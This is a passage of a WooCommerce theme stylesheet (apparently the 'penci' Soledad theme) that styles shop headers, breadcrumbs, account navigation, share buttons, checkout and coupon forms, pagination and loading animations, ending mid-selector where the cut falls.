.product_meta .penci-product-brands .penci-product-brand .brand-title {
	display: inline-flex;
}
.product_meta .penci-product-brands .penci-product-brand a {
	margin-left: 10px;
	margin-bottom: 0;
}
.product_meta .penci-product-brands .penci-product-brand .brand-title {
	font-weight: bold;
	color: var(--pcheading-cl);
}
#add_payment_method #payment ul.payment_methods li,
.woocommerce-cart #payment ul.payment_methods li,
.woocommerce-checkout #payment ul.payment_methods li {
	margin-bottom: 15px;
	padding-bottom: 15px;
	cursor: pointer;
	border-bottom: 1px solid var(--pcpage_gbdr_cl);
}
#add_payment_method #payment ul.payment_methods li:last-child,
.woocommerce-cart #payment ul.payment_methods li:last-child,
.woocommerce-checkout #payment ul.payment_methods li:last-child {
	margin-bottom: 0 !important;
}
.woocommerce .penci_woo_pages_breadcrumbs {
	display: flex;
	flex: 1 1 100%;
	justify-content: center;
	margin-bottom: 60px;
}
@media only screen and (max-width: 767px) {
	.woocommerce .penci_woo_pages_breadcrumbs {
		text-align: center;
		margin-bottom: 30px;
	}
}
.woocommerce .penci_woo_pages_breadcrumbs ul {
	margin: 0;
	padding: 0;
	list-style: none;
}
.woocommerce .penci_woo_pages_breadcrumbs ul li {
	display: inline-block;
}
.woocommerce .penci_woo_pages_breadcrumbs ul li:after {
	font-family: penciicon !important;
	display: inline-block;
	margin: 0 15px;
	content: "\f11a";
	font-size: 80%;
}
.woocommerce .penci_woo_pages_breadcrumbs ul li:last-child:after {
	display: none;
}
.woocommerce .penci_woo_pages_breadcrumbs ul li span,
.woocommerce .penci_woo_pages_breadcrumbs ul li a {
	font-size: 18px;
	font-weight: bold;
	text-decoration: none;
	color: var(--pctext-cl);
}
@media only screen and (max-width: 767px) {
	.woocommerce .penci_woo_pages_breadcrumbs ul li span,
	.woocommerce .penci_woo_pages_breadcrumbs ul li a {
		font-size: 14px;
	}
	.woocommerce .penci_woo_pages_breadcrumbs ul li:after {
		margin: 0 5px;
	}
}
.woocommerce .penci_woo_pages_breadcrumbs ul li.inactive {
	opacity: .5;
}
.woocommerce .penci_woo_pages_breadcrumbs ul li a:hover {
	color: var(--pcaccent-cl);
}
.header-header-ecommerce .main-nav-social {
	margin-right: 0;
	padding-right: 0;
	border-right: 0;
}
.header-header-ecommerce .header-middle-content {
	padding: 20px 0;
}
.header-header-ecommerce #logo {
	text-align: left;
}
.header-header-ecommerce #logo img {
	width: auto;
	max-width: 100%;
	height: auto;
	max-height: 35px;
}
.header-header-ecommerce .is-sticky #navigation.header-layout-bottom {
	border: 0;
}
@media only screen and (min-width: 768px) and (max-width: 960px) {
	.header-header-ecommerce #logo img {
		max-width: 100%;
	}
}
.header-header-ecommerce #navigation .container {
	display: block;
}
.header-header-ecommerce .main-nav-wrapper,
.header-header-ecommerce .sub-nav-wrapper,
.header-header-ecommerce .header-middle-content .penci-wrap {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	margin-right: -15px;
	margin-left: -15px;
}
.header-header-ecommerce .main-nav-wrapper > div,
.header-header-ecommerce .sub-nav-wrapper > div,
.header-header-ecommerce .header-middle-content .penci-wrap > div {
	align-self: center;
	padding-right: 15px;
	padding-left: 15px;
}
.header-header-ecommerce #navigation .sub-nav-wrapper > ul.menu {
	overflow: hidden;
	overflow-x: auto;
	align-self: center;
	padding-right: 15px;
	padding-left: 15px;
	white-space: nowrap;
}
.header-header-ecommerce #navigation .sub-nav-wrapper > ul.menu > li {
	float: none;
}
.header-header-ecommerce .header-middle-content .penci-wrap .penci-header-shop-logo {
	flex: 0 0 auto;
	width: 25%;
}
.header-header-ecommerce .header-middle-content .penci-wrap .penci-header-shop-search {
	flex: 0 0 auto;
	width: 55%;
}
.header-header-ecommerce .header-middle-content .penci-wrap .penci-header-shop-tools {
	flex: 0 0 auto;
	width: 20%;
}
.penci-header-shop-tools {
	font-size: 13px;
	display: flex;
	align-items: center;
	flex-direction: row;
	flex-wrap: wrap;
	justify-content: flex-end;
}
.penci-header-shop-tools .top-search-classes.shoping-cart-icon {
	float: none;
	margin-right: 0;
}
.penci-header-shop-tools .pcshop-login-btn {
	font-family: var(--pchd_mn_font);
}
.penci-header-shop-tools .pcshop-login-btn img.avatar {
	margin-right: 5px;
	border-radius: 50%;
}
.penci-header-shop-tools .pcshop-login-btn li {
	position: relative;
}
.penci-header-shop-tools .pcshop-login-btn li.pclogin-item > a {
	display: flex;
	align-items: center;
}
.penci-header-shop-tools .pcshop-login-btn li.pclogin-item > a span > span {
	margin: 0;
}
.penci-header-shop-tools .pcshop-login-btn li.pclogin-item > a span > span:first-child:after {
	display: inline-block;
	margin: 0 2px;
	content: '/';
}
@media only screen and (max-width: 767px) {
	.penci-header-shop-tools .pcshop-login-btn li.pclogin-item > a > i {
		font-size: 28px;
		opacity: .5;
	}
	.penci-header-shop-tools .pcshop-login-btn li.pclogin-item > a span > span {
		display: block;
	}
	.penci-header-shop-tools .pcshop-login-btn li.pclogin-item > a span > span:first-child:after {
		display: none;
	}
}
.penci-header-shop-tools .pcshop-login-btn li a {
	color: var(--pcheading-cl);
}
.penci-header-shop-tools .pcshop-login-btn li ul {
	position: absolute;
	z-index: 9;
	top: 100%;
	left: 0;
	visibility: hidden;
	width: 170px;
	margin-top: 10px;
	padding: 10px;
	transition: 0.3s all ease-in-out;
	opacity: 0;
	border: 1px solid var(--pcborder-cl);
	background-color: var(--pcbg-cl);
}
.penci-header-shop-tools .pclogin-item.login.login-popup {
	font-weight: bold;
}
.penci-header-shop-tools .pcshop-login-btn li:hover ul {
	visibility: visible;
	opacity: 1;
}
.penci-header-shop-tools .pcshop-login-btn li ul li {
	margin-bottom: 10px;
	padding-bottom: 10px;
	border-bottom: 1px solid var(--pcborder-cl);
}
.penci-header-shop-tools .pcshop-login-btn li ul li i {
	display: inline-block;
	margin-right: 5px;
}
.penci-header-shop-tools .pcshop-login-btn li ul li:last-child {
	margin-bottom: 0;
	padding-bottom: 0;
	border-bottom: 0;
}
.header-header-ecommerce .penci-menu-wrap {
	flex: 0 0 auto;
	width: 82%;
}
.header-header-ecommerce .penci-header-extra {
	flex: 0 0 auto;
	width: 18%;
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu {
	flex: 0 0 auto;
	width: 30%;
}
.header-header-ecommerce .sub-nav-wrapper > .menu {
	flex: 0 0 auto;
	width: 70%;
}
.header-header-ecommerce .vertical-shop-menu-title-wrapper {
	font-family: var(--pchd_mn_font);
	padding: 0 20px;
	text-align: left;
	color: #fff;
	background-color: #000;
}
.header-header-ecommerce .vertical-shop-menu-title-wrapper i {
	display: inline-block;
	margin-right: 10px;
}
.header-header-ecommerce .vertical-shop-menu-title {
	font-size: 15px;
	font-weight: bold;
	line-height: 58px;
}
.header-header-ecommerce .penci-vertical-shop-menu {
	position: absolute;
	top: calc(100%);
	right: 0;
	left: 0;
}
.header-header-ecommerce .vertical-shop-menu.close .penci-vertical-shop-menu,
.header-header-ecommerce .is-sticky .penci-vertical-shop-menu {
	display: none;
}
.header-header-ecommerce .vertical-shop-menu.close li:hover .penci-vertical-shop-menu,
.header-header-ecommerce .is-sticky li:hover .penci-vertical-shop-menu {
	display: block;
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul ul.menu-shop {
	width: 23%;
	text-align: left;
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul ul > li {
	display: block;
	float: none;
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul ul > li.penci-mega-menu > a:after {
	font-family: FontAwesome, serif;
	float: right;
	content: '\f107';
	transform: rotate(-90deg);
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul ul > li > a {
	font-family: var(--pchd_mn_font);
	font-size: 12px;
	font-weight: var(--pchd_mn_font_w);
	position: relative;
	z-index: 99;
	display: block;
	padding: 15px;
	text-transform: uppercase;
	color: var(--pcheading-cl);
	border: 1px solid #ececec;
	border-top: 0;
	background-color: var(--pcbg-cl);
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul ul > li > a:hover {
	background-color: #f9f9f9;
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul ul > li a:hover {
	color: #000;
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul.sub-menu,
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul.sub-menu > li {
	margin: 0;
	padding: 0;
	border: 0;
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul.sub-menu {
	position: absolute;
	z-index: 9999;
	top: 0;
	right: 0;
	bottom: 0;
	display: block;
	visibility: hidden;
	width: calc(77%);
	transition: all 0.3s ease-in-out;
	-moz-transform: translate(0, 15px);
	-ms-transform: translate(0, 15px);
	-o-transform: translate(0, 15px);
	-webkit-transform: translate(0, 15px);
	transform: translate(0, 15px);
	opacity: 0;
	background-color: var(--pcbg-cl);
}
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu li.penci-mega-menu:hover > ul.sub-menu {
	visibility: visible;
	-moz-transform: translate(0, 0);
	-ms-transform: translate(0, 0);
	-o-transform: translate(0, 0);
	-webkit-transform: translate(0, 0);
	transform: translate(0, 0);
	opacity: 1;
}
.woocommerce-notices-wrapper {
	flex: 100%;
	margin-top: 30px;
}
.woocommerce-notices-wrapper:empty {
	display: none;
}
.penci-search-cat {
	font-family: var(--pchd_mn_font);
	font-size: 13px;
	position: relative;
	display: flex;
	align-items: center;
	width: 35%;
	height: 45px;
	padding: 0 20px;
	border-left: 1px solid var(--pcborder-cl);
}
.penci-search-cat:after {
	font-family: "penciicon";
	font-size: 12px;
	position: absolute;
	top: 0;
	right: 10px;
	bottom: 0;
	display: flex;
	align-items: center;
	content: "\f11c";
}
.penci-search-cat > a {
	color: var(--pchead-font);
}
.penci-search-cat .penci-dropdown {
	position: absolute;
	z-index: 99;
	top: 100%;
	left: -1px;
	visibility: hidden;
	overflow: hidden;
	overflow-y: auto;
	width: 240px;
	max-height: 390px;
	opacity: 0;
}
.penci-search-cat:hover .penci-dropdown {
	visibility: visible;
	opacity: 1;
}
.penci-search-cat .penci-dropdown ul {
	border: 1px solid var(--pcborder-cl);
}
.penci-search-cat .penci-dropdown ul ul {
	border: 0;
}
.penci-search-cat .penci-dropdown ul li a {
	display: block;
	padding: 10px 20px;
	color: var(--pcheading-cl);
	background-color: var(--pcbg-cl);
}
.header-header-ecommerce #navigation.menu-item-padding .menu > li.current-menu-item > a,
.header-header-ecommerce #navigation.menu-item-padding .menu > li.current_page_item > a {
	color: var(--pcaccent-cl);
	background-color: transparent;
}
.header-header-ecommerce #navigation.menu-item-padding .menu > li > a:hover,
.header-header-ecommerce #navigation.menu-item-padding .menu > li:hover > a {
	color: var(--pcaccent-cl);
	background-color: transparent;
}
@media only screen and (max-width: 960px) {
	.header-header-ecommerce .penci-menu-wrap,
	.header-header-ecommerce .penci-header-shop-search {
		display: none;
	}
	.header-header-ecommerce .penci-header-extra {
		width: 80%;
	}
	.header-header-ecommerce .header-middle-content .penci-wrap .penci-header-shop-logo,
	.header-header-ecommerce .header-middle-content .penci-wrap .penci-header-shop-tools {
		width: 50%;
	}
	.header-header-ecommerce .header-middle-content .penci-wrap,
	.header-header-ecommerce .main-nav-wrapper {
		justify-content: space-between;
		padding-right: 15px;
		padding-left: 15px;
	}
	.woocommerce-cart table.cart td.actions .coupon .input-text {
		width: 170px;
		min-width: unset;
	}
}
@media only screen and (min-width: 768px) and (max-width: 1170px) {
	.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu {
		width: 35%;
	}
	.header-header-ecommerce .sub-nav-wrapper > .menu {
		width: 65%;
	}
}
@media only screen and (max-width: 767px ) {
	.woocommerce-cart table.cart td.actions .coupon .input-text {
		width: 100%;
	}
	body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals table td {
		padding-right: 15px;
	}
}
.header-countdown {
	position: relative;
	margin-bottom: 30px;
}
.header-countdown .ends-text {
	display: inline-block;
	letter-spacing: 0.05rem;
	text-transform: uppercase;
}
.header-countdown .penci-product-countdown {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	margin: 0 -5px;
}
.header-countdown .penci-product-countdown > span {
	font-size: 20px;
	font-weight: bold;
	line-height: 1;
	display: block;
	margin: 0 5px;
	padding: 10px;
	text-align: center;
	border: 1px solid #ececec;
}
.countdown-style-round .header-countdown .penci-product-countdown > span {
	display: flex;
	align-items: center;
	flex-direction: column;
	flex-wrap: wrap;
	justify-content: center;
	min-width: 75px;
	min-height: 75px;
	border-radius: 50%;
}
.header-countdown .penci-product-countdown > span > span {
	font-size: 12px;
	font-weight: normal;
	display: block;
	text-transform: uppercase;
}
.penci-deal-footer-link {
	margin-top: 60px;
	text-align: center;
}
nav.woocommerce-MyAccount-navigation ul {
	margin: 0;
	padding: 0;
	list-style: none;
}
@media only screen and (min-width: 960px) {
	nav.woocommerce-MyAccount-navigation ul {
		margin-right: 30px;
		padding-right: 60px;
		border-right: 1px solid var(--pcborder-cl);
	}
}
nav.woocommerce-MyAccount-navigation ul li {
	list-style: none;
}
nav.woocommerce-MyAccount-navigation ul li a {
	font-weight: bold;
	display: block;
	margin-bottom: 15px;
	padding-bottom: 15px;
	color: var(--pcheading-cl);
	border-bottom: 1px solid var(--pcborder-cl);
}
nav.woocommerce-MyAccount-navigation ul li.is-active a,
nav.woocommerce-MyAccount-navigation ul li a:hover {
	text-decoration: none;
	color: var(--pcaccent-cl);
}
.woocommerce .woocommerce-MyAccount-content .button,
.woocommerce .woocommerce-MyAccount-content button {
	margin-top: 0;
	padding-right: 30px;
	padding-left: 30px;
}
.woocommerce .woocommerce-MyAccount-content button:hover {
	color: #fff;
}
/* hover color default*/
.penci-share-style-1 .single-product-share a.post-share-facebook:hover {
	border-color: #0d47a1;
}
.penci-share-style-1 .single-product-share a.post-share-twitter:hover {
	border-color: #40c4ff;
}
.penci-share-style-1 .single-product-share a.post-share-pinterest:hover {
	border-color: #bd081c;
}
.penci-share-style-1 .single-product-share a.post-share-linkedin:hover {
	border-color: #0077b5;
}
.penci-share-style-1 .single-product-share a.post-share-tumblr:hover {
	border-color: #34465d;
}
.penci-share-style-1 .single-product-share a.post-share-email:hover {
	border-color: #0084ff;
}
.penci-share-style-1 .single-product-share a.post-share-vk:hover {
	border-color: #5181b8;
}
.penci-share-style-1 .single-product-share a.post-share-pocket:hover {
	border-color: #ef4056;
}
.penci-share-style-1 .single-product-share a.post-share-skype:hover {
	border-color: #00aff0;
}
.penci-share-style-1 .single-product-share a.post-share-whatsapp:hover {
	border-color: #00E676;
}
.penci-social-colored a i.fa-heart-o {
	border-color: #000;
}
.penci-share-style-1 .single-product-share a.post-share-telegram:hover {
	border-color: #289FD9;
}
.penci-share-style-1 .single-product-share a.post-share-reddit:hover {
	border-color: #F74300;
}
.penci-share-style-1 .single-product-share a.post-share-ok:hover {
	border-color: #F18F00;
}
.penci-share-style-1 .single-product-share a.post-share-stumbleupon:hover {
	border-color: #EB4823;
}
.penci-share-style-1 .single-product-share a.post-share-viber:hover {
	border-color: #7d51a0;
}
/* end*/
.penci-share-style-2 .single-product-share a.post-share-facebook,
.penci-share-style-3 .single-product-share a.post-share-facebook:hover,
.penci-share-style-1 .single-product-share a.post-share-facebook:hover {
	background: #0d47a1;
}
.penci-share-style-2 .single-product-share a.post-share-twitter,
.penci-share-style-3 .single-product-share a.post-share-twitter:hover,
.penci-share-style-1 .single-product-share a.post-share-twitter:hover {
	background: #40c4ff;
}
.penci-share-style-2 .single-product-share a.post-share-pinterest,
.penci-share-style-3 .single-product-share a.post-share-pinterest:hover,
.penci-share-style-1 .single-product-share a.post-share-pinterest:hover {
	background: #bd081c;
}
.penci-share-style-2 .single-product-share a.post-share-linkedin,
.penci-share-style-3 .single-product-share a.post-share-linkedin:hover,
.penci-share-style-1 .single-product-share a.post-share-linkedin:hover {
	background: #0077b5;
}
.penci-share-style-2 .single-product-share a.post-share-tumblr,
.penci-share-style-3 .single-product-share a.post-share-tumblr:hover,
.penci-share-style-1 .single-product-share a.post-share-tumblr:hover {
	background: #34465d;
}
.penci-share-style-2 .single-product-share a.post-share-email,
.penci-share-style-3 .single-product-share a.post-share-email:hover,
.penci-share-style-1 .single-product-share a.post-share-email:hover {
	background: #0084ff;
}
.penci-share-style-2 .single-product-share a.post-share-vk,
.penci-share-style-3 .single-product-share a.post-share-vk:hover,
.penci-share-style-1 .single-product-share a.post-share-vk:hover {
	background: #5181b8;
}
.penci-share-style-2 .single-product-share a.post-share-pocket,
.penci-share-style-3 .single-product-share a.post-share-pocket:hover,
.penci-share-style-1 .single-product-share a.post-share-pocket:hover {
	background: #ef4056;
}
.penci-share-style-2 .single-product-share a.post-share-skype,
.penci-share-style-3 .single-product-share a.post-share-skype:hover,
.penci-share-style-1 .single-product-share a.post-share-skype:hover {
	background: #00aff0;
}
.penci-share-style-2 .single-product-share a.post-share-whatsapp,
.penci-share-style-3 .single-product-share a.post-share-whatsapp:hover,
.penci-share-style-1 .single-product-share a.post-share-whatsapp:hover {
	background: #00E676;
}
.penci-social-colored a i.fa-heart-o {
	background: #000;
}
.penci-share-style-2 .single-product-share a.post-share-telegram,
.penci-share-style-3 .single-product-share a.post-share-telegram:hover,
.penci-share-style-1 .single-product-share a.post-share-telegram:hover {
	background: #289FD9;
}
.penci-share-style-2 .single-product-share a.post-share-reddit,
.penci-share-style-3 .single-product-share a.post-share-reddit:hover,
.penci-share-style-1 .single-product-share a.post-share-reddit:hover {
	background: #F74300;
}
.penci-share-style-2 .single-product-share a.post-share-ok,
.penci-share-style-3 .single-product-share a.post-share-ok:hover,
.penci-share-style-1 .single-product-share a.post-share-ok:hover {
	background: #F18F00;
}
.penci-share-style-2 .single-product-share a.post-share-stumbleupon,
.penci-share-style-3 .single-product-share a.post-share-stumbleupon:hover,
.penci-share-style-1 .single-product-share a.post-share-stumbleupon:hover {
	background: #EB4823;
}
.penci-share-style-2 .single-product-share a.post-share-viber,
.penci-share-style-3 .single-product-share a.post-share-viber:hover,
.penci-share-style-1 .single-product-share a.post-share-viber:hover {
	background: #7d51a0;
}
.woocommerce #review_form_wrapper form .required {
	color: red;
}
.woocommerce #review_form_wrapper form .comment-form-rating {
	display: flex;
	margin-bottom: 0;
}
.woocommerce #review_form #respond p.stars,
.woocommerce #review_form_wrapper form .comment-form-rating label,
.woocommerce #review_form_wrapper form .comment-form-rating p.stars {
	display: inline-block;
	margin-bottom: 0;
	vertical-align: middle;
}
.woocommerce #review_form #respond p.stars > span {
	display: inline-block;
	padding: 5px 0 0 15px;
	vertical-align: middle;
}
@media only screen and (min-width: 960px) {
	.woocommerce div.product .woocommerce-tabs .panel #review_form #respond p.comment-form-email,
	.woocommerce div.product .woocommerce-accordion-item #respond p.comment-form-email,
	.woocommerce div.product .woocommerce-tabs .panel #review_form #respond p.comment-form-author,
	.woocommerce div.product .woocommerce-accordion-item #respond p.comment-form-author {
		float: left;
		width: 48%;
		margin-right: 0;
		margin-left: 0;
	}
	.woocommerce div.product .woocommerce-tabs .panel #review_form #respond p.comment-form-author,
	.woocommerce div.product .woocommerce-accordion-item #review_form #respond p.comment-form-author {
		float: right;
		margin-right: 0;
	}
	.woocommerce-form-coupon-toggle,
	form.checkout_coupon.woocommerce-form-coupon {
		max-width: calc(60% - 12px);
		margin-right: auto;
		margin-left: auto;
	}
	form.checkout_coupon.woocommerce-form-coupon .form-row {
		width: 49%;
	}
	form.checkout_coupon.woocommerce-form-coupon p {
		text-align: center;
	}
	form.checkout_coupon.woocommerce-form-coupon .form-row.form-row-first {
		width: 65%;
	}
	form.checkout_coupon.woocommerce-form-coupon .form-row.form-row-last {
		width: 32%;
	}
	form.checkout_coupon.woocommerce-form-coupon .button {
		display: block;
		width: 100%;
	}
}
@media only screen and (max-width: 960px) {
	.woocommerce-form-coupon-toggle,
	form.checkout_coupon.woocommerce-form-coupon {
		max-width: calc(50% - 12px);
	}
	form.checkout_coupon.woocommerce-form-coupon .form-row.form-row-first,
	form.checkout_coupon.woocommerce-form-coupon .form-row.form-row-last {
		width: 100%;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce-form-coupon-toggle,
	form.checkout_coupon.woocommerce-form-coupon {
		width: 100%;
		max-width: 100%;
	}
	body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner {
		padding: 20px;
	}
	h3#order_review_heading {
		padding: 15px 0;
		text-align: center;
	}
}
.penci-active-filters ul {
	margin-bottom: 30px;
}
.woocommerce .penci-active-filters .widget_layered_nav_filters ul li {
	padding-right: 10px;
	margin-right: 10px;
	border-right: 1px solid var(--pcborder-cl);
}
.woocommerce .penci-active-filters .widget_layered_nav_filters ul li:last-child {
	padding-right: 0;
	margin-right: 0;
	border-right: 0;
}
.woocommerce .penci-active-filters .widget_layered_nav_filters ul li a:hover {
	color: var(--pctext-cl);
}
.woocommerce .penci-active-filters .widget_layered_nav_filters ul li a:hover:before {
	color: var(--pcaccent-cl);
}
@keyframes bubble {
	0%, 100% {
		transform: scale(0)
	}
	50% {
		transform: scale(1)
	}
}
@-webkit-keyframes bubble {
	0%, 100% {
		transform: scale(0)
	}
	50% {
		transform: scale(1)
	}
}
.penci-loading-icon {
	display: flex;
	justify-content: center;
	align-items: center;
	text-align: center;
	vertical-align: middle;
}
.penci-loading-icon * {
	-webkit-animation-play-state: paused;
	animation-play-state: paused
}
.penci-loading-icon .bubble:after {
	display: block;
	width: 100%;
	height: 100%;
	content: '';
	transform-origin: 50% 50%;
	-webkit-animation: bubble 1.2s -.6s infinite ease-out;
	animation: bubble 1.2s -.6s infinite ease-out;
	border-radius: 50%;
	background-color: var(--pcbg-cl);
}
.penci-products-preloader > .penci-loading-icon .bubble:after {
	background-color: var(--pctext-cl);
}
.penci-loading-icon .bubble {
	display: inline-block;
	width: 10px;
	height: 10px;
	margin: 0 5px
}
.penci-loading-icon .bubble:nth-child(2n):after {
	-webkit-animation-delay: -.3s;
	animation-delay: -.3s
}
.penci-loading-icon .bubble:nth-child(3n):after {
	-webkit-animation-delay: 0s;
	animation-delay: 0s
}
.button {
	position: relative;
}
.button .penci-loading-icon {
	position: absolute;
	z-index: 2;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	transition: opacity 0.3s ease-in-out;
	opacity: 0;
}
.woocommerce .button.has-new-preload.loading:before,
.woocommerce .button.has-new-preload.loading:after {
	display: none;
}
.woocommerce .button.has-new-preload.loading,
.woocommerce div.product form.cart .button.has-new-preload.loading,
.woocommerce div.product form.cart .button.has-new-preload.loading:hover {
	color: transparent !important;
}
.woocommerce .button.has-new-preload.loading .penci-loading-icon {
	opacity: 1;
}
.woocommerce div.product form.cart .variations {
	margin-bottom: 0;
}
.woocommerce div.product form.cart .variations .penci-swatches {
	display: inline-block;
	vertical-align: top;
}
.pswp {
	z-index: 99999;
}
.woocommerce .return-to-shop .button {
	padding-top: 0;
	padding-bottom: 0;
}
.woocommerce .woocommerce-checkout-review-order-table th {
	border-bottom: 0;
}
.penci-woo-page-container.next_previous {
	position: relative;
}
.penci-woo-page-container.next_previous .woocommerce-pagination {
	margin: 0;
}
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li {
	margin: 0;
	line-height: 28px;
}
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a,
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li span {
	display: none;
}
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers,
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers {
	display: block;
	margin: 0 5px;
	border: 0;
}
.penci-woo-page-container.next_previous ul.products {
	position: relative;
	z-index: 99;
}
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li {
	display: initial;
	margin: 0;
	padding: 0;
	overflow: visible;
	position: static;
}
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers,
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers {
	font-size: 0;
	position: absolute;
	width: 50px;
	height: 50px;
	top: 50%;
	z-index: 999;
	right: -40px;
	text-align: center;
	transform: translate(30px, 0);
	transition: 0.3s all ease-in-out;
	margin: -55px 0 0 0;
	opacity: 0;
}
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers {
	right: auto;
	left: -40px;
	transform: translate(-30px, 0);
}
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers:before,
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers:before {
	content: '\f11a';
	font-family: "penciicon", serif;
	font-size: 24px;
	line-height: 50px;
}
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers:before {
	content: '\f11b';
}
.penci-woo-page-container.next_previous:hover .woocommerce-pagination .page-numbers li a.prev.page-numbers,
.penci-woo-page-container.next_previous:hover .woocommerce-pagination .page-numbers li a.next.page-numbers {
	transform: translate(0, 0);
	opacity: 1;
}
@media only screen and (max-width: 767px) {
	.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers,
	.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers {
		transform: translate(0, 0);
		opacity: 1;
	}
	.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers {
		right: 0;
	}
	.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers {
		right: auto;
		left: 0;
	}
}
.woocommerce ul.products.penci-owl-carousel {
	flex-wrap: nowrap;
	overflow: hidden;
}
.woocommerce ul.products.penci-owl-carousel.penci-owl-loaded {
	flex-wrap: wrap;
}
.woocommerce ul.products.penci-owl-carousel.penci-owl-loaded li.product {
	width: 100%;
}
.select2-container .select2-selection--single .select2-selection__rendered {
	padding-left: 20px;
}
.select2-results__option {
	padding: 6px 20px;
}
.select2-search--dropdown {
	padding: 4px 20px;
}
.select2-container--default .select2-search--dropdown .select2-search__field {
	border-color: var(--pcpage_gbdr_cl);
}
.select2-search--dropdown .select2-search__field {
	padding: 10px;
}
.select2-container--default .select2-selection--single .select2-selection__arrow {
	right: 15px;
}
.select2-container--default .select2-results__option--highlighted[aria-selected], .select2-container--default .select2-results__option--highlighted[data-selected] {
	background-color: var(--pcaccent-cl);
}
.penci-scroll ::-webkit-scrollbar,
.penci-scroll::-webkit-scrollbar,
.penci-products-compare-table.penci-multicompare ::-webkit-scrollbar,
.quick-shop-form::-webkit-scrollbar,
.sidebar-filter-container ::-webkit-scrollbar,
.sidebar-cart-container .widget_shopping_cart_content ::-webkit-scrollbar,
.penci-header-cart-detail .widget_shopping_cart_content ::-webkit-scrollbar {
	width: 5px;
}
.penci-scroll ::-webkit-scrollbar-track,
.penci-scroll::-webkit-scrollbar-track,
.sidebar-filter-container ::-webkit-scrollbar-track,
.quick-shop-form::-webkit-scrollbar-track,
.penci-products-compare-table.penci-multicompare ::-webkit-scrollbar-track,
.sidebar-cart-container .widget_shopping_cart_content ::-webkit-scrollbar-track,
.penci-header-cart-detail .widget_shopping_cart_content ::-webkit-scrollbar-track {
	background-color: var(--penci-scrollbar-track-bg);
}
.penci-scroll ::-webkit-scrollbar-thumb,
.penci-scroll::-webkit-scrollbar-thumb,
.sidebar-filter-container ::-webkit-scrollbar-thumb,
.quick-shop-form::-webkit-scrollbar-thumb,
.penci-products-compare-table.penci-multicompare ::-webkit-scrollbar-thumb,
.sidebar-cart-container .widget_shopping_cart_content ::-webkit-scrollbar-thumb,
.penci-header-cart-detail .widget_shopping_cart_content ::-webkit-scrollbar-thumb {
	background-color: var(--penci-scrollbar-thumb-bg);
}
.tippy-box[data-placement^="top"] {
	top: 4px;
}
.tippy-box[data-placement^="left"] {
	left: 4px;
}
.tippy-box[data-placement^="right"] {
	right: 4px;
}
.tippy-box[data-placement^="bottom"] {
	bottom: 4px;
}
.woocommerce div.product .related > h2, .woocommerce div.product .upsells > h2 {
	border-bottom-color: var(--pcpage_gbdr_cl);
}
.dark-layout-enabled .penci-woo-before-main-content .penci-products-per-page a {
	color: var(--pcmeta-cl);
}
.dark-layout-enabled .penci-woo-before-main-content .penci-products-shop-view .current-variation svg.icon {
	fill: rgba(255, 255, 255, .9);
}
.dark-layout-enabled .variations select,
.dark-layout-enabled .woocommerce-ordering select,
.dark-layout-enabled .penci-widget-layered-nav-dropdown-form select {
	background-color: transparent;
	color: var(--pctext-cl);
}
.dark-layout-enabled .penci-top-relate-post ul li.item-shop-link svg {
	fill: var(--pcmeta-cl);
}
.woocommerce form .form-row textarea.input-text,
.woocommerce-page form .form-row textarea.input-text
.woocommerce form .form-row textarea {
	padding-top: 10px;
	padding-bottom: 10px;
}
.woocommerce-MyAccount-content fieldset {
	padding: 30px;
	margin-bottom: 30px;
	border: 1px solid var(--pcborder-cl);
}
.woocommerce-MyAccount-content label {
	font-weight: bold;
}
.woocommerce-MyAccount-content fieldset legend {
	background-color: var(--pcbg-cl);
	display: inline-block;
	padding: 0 10px;
	font-weight: bold;
}
.woocommerce .woocommerce-MyAccount-content .woocommerce-error,
.woocommerce .woocommerce-MyAccount-content .woocommerce-info,
.woocommerce .woocommerce-MyAccount-content .woocommerce-message {
	display: flex;
	justify-content: space-between;
	align-items: center;
	flex-wrap: wrap;
	flex-direction: row-reverse;
}
.woocommerce .woocommerce-MyAccount-content .woocommerce-error:before,
.woocommerce .woocommerce-MyAccount-content .woocommerce-info:before,
.woocommerce .woocommerce-MyAccount-content .woocommerce-message:before {
	top: 0;
	bottom: 0;
	display: flex;
	align-items: center;
}
.woocommerce .woocommerce-MyAccount-content .woocommerce-error:after,
.woocommerce .woocommerce-MyAccount-content .woocommerce-info:after,
